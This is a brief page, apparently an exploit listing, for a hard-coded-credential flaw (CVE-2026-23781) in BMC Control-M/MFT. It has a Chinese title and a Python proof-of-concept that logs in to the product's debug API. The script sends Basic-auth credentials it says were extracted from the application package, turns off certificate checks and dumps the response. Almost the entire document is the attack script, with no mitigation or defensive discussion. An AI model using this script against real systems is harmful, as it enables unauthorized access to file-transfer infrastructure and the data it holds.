CVE-2026-23781 BMC Control-M/MFT 硬编码凭据漏洞

import requests # Target URL for the MFT API Debug Interface target_url = "http://target-host:port/mft/api/debug" # Hardcoded credentials extracted from the application package username = "debug_user" password = "hardcoded_password" def exploit(): print(f"[*] Attempting to connect to {target_url}...") # Example using Basic Authentication response = requests.get(target_url, auth=(username, password), verify=False) if response.status_code == 200: print("[+] Exploit successful! Access granted to debug interface.") print("[+] Response data:") print(response.text) else: print("[-] Exploit failed.") print(f"[-] Status code: {response.status_code}") if __name__ == "__main__": exploit()